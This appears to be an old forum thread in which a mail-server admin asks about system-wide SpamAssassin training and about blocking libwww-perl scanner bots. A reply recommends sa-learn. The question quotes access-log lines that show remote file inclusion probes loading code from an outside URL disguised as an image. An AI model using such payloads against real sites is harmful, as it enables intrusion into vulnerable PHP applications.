Hi. I have installed a mailserver following falko's tutorial for postfix+mysql+quota+courier but now I wanted to train spamassassin to have less FP's on the type of spam I am usually target of. I have already more than 3000 messages that are 100% spam & phishing. Anyway, I googled around a bit but all I found was ways to train the filter on a per-user basis while I wanted to do it system-wide (so that SA will use that filter for every mailbox). How can I accomplish that? (note: I am running amavis-new + SA) Another problem I am currently having is the endless attacks from libwww-perl bots that scan my php scripts for vulnerabilities: Code: 63.243.44.3 - - [28/May/2008:08:11:12 +0200] "GET /index.php/2008/05/?pd=http://www.digitalcosta.com/includes/PEAR/safeon.gif??????? HTTP/1.1" 200 4140 "-" "libwww-perl/5.79" 196.40.2.126 - - [28/May/2008:08:11:12 +0200] "GET /index.php/2008/05/?pd=http://www.digitalcosta.com/includes/PEAR/safeon.gif??????? HTTP/1.1" 200 4140 "-" "libwww-perl/5.65" I read something around on how to block this type of user-agent but apache2 on debian has a split configuration and I'm not really sure how to implement this. Should I use the rules in every virtualhost that I am using? If so, can I have an example?
You could put all spam in one mailbox and then use a command like this: Code: sa-learn --no-sync [--spam or --ham] --mbox [folder] Take a look here: http://www.cyberciti.biz/tips/the-rise-of-bots-spammers-crack-attacks-and-libwww-perl.html
